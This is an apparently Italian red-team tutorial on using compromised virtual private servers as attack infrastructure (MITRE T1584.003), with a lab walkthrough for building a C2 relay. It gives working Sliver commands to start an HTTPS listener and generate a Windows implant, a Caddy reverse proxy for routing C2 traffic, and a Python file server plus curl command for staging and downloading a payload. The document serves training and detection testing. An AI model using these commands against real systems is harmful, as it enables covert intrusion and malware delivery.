VPS Compromessi come Infrastruttura d'Attacco: Compromise Infrastructure – Virtual Private Server (T1584.003)

Quando un avversario ha bisogno di infrastruttura operativa ma vuole evitare qualsiasi legame diretto con la propria identità, una delle strade più efficaci è compromettere un Virtual Private Server già acquistato da un'organizzazione terza. Questa tecnica rientra nella fase di Resource Development (TA0042), il momento in cui l'attaccante costruisce o acquisisce le risorse — domini, account, server — che alimenteranno le fasi successive della kill chain, dal Command and Control all'esfiltrazione.

Il vantaggio tattico è duplice. Primo, l'IP del VPS appartiene a un cloud provider legittimo e gode della reputazione associata a quel provider, rendendo il traffico meno sospetto. Secondo, la catena di attribuzione si complica enormemente: il titolare del contratto cloud è una vittima inconsapevole, e l'avversario opera dietro uno strato aggiuntivo di anonimato. I principali provider cloud vendono macchine virtuali e container a milioni di clienti, e un singolo VPS compromesso si confonde nel rumore di fondo.

I dati confermano l'interesse operativo: 2 gruppi APT documentati, 1 campagna significativa nel 2024 e una sola mitigazione formale, a testimonianza del fatto che questa attività si svolge quasi interamente al di fuori del perimetro difensivo dell'organizzazione bersaglio.

La simulazione di questa tecnica in un esercizio red team non mira a compromettere un VPS reale di terzi — sarebbe illegale — ma a riprodurre il flusso operativo che un avversario segue dopo aver ottenuto l'accesso a un server cloud, per poi usarlo come nodo C2 o staging area.

Scenario lab: crea un VPS nel tuo ambiente cloud di test (un'istanza su provider come DigitalOcean, Linode o AWS) e trattalo come se fosse stato compromesso. L'obiettivo è configurarlo come relay C2 e verificare se il blue team rileva il traffico.

Inizia con il provisioning di un listener C2 sul VPS simulato. Con Sliver (open source), puoi generare un listener HTTPS che mimetizza il traffico in quello di un servizio cloud legittimo:

sliver > https --lhost 0.0.0.0 --lport 443 --domain staging-cdn.example.com

Genera poi un implant che punta al VPS:

sliver > generate --http staging-cdn.example.com --os windows --arch amd64 --save /tmp/payload.exe

Per replicare lo scenario di Volt Typhoon, che utilizza VPS compromessi come proxy C2, configura un reverse proxy con Caddy (open source) o Nginx (open source) sul VPS, così che il traffico C2 venga instradato attraverso un servizio apparentemente legittimo. Un semplice reverse proxy con Caddy:

caddy reverse-proxy --from :443 --to :8443

Per simulare il pattern di Operation MidnightEclipse, dove i VPS venivano usati come storage per file malevoli, configura un file server temporaneo sul VPS lab:

python3 -m http.server 8080 --directory /tmp/staging/

Dall'host vittima simulato, verifica il download:

curl -o payload.bin http://:8080/payload.bin

Il valore dell'esercizio sta nel misurare la capacità del SOC di distinguere connessioni verso IP cloud legittimi da sessioni C2 nascoste. Al termine, documenta quali indicatori di rete (JA3 hash, certificati self-signed, pattern di beaconing) il blue team è riuscito a identificare e quali no. Strumenti come Wireshark (open source) e Zeek (open source) lato difensivo completano l'analisi del traffico generato.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo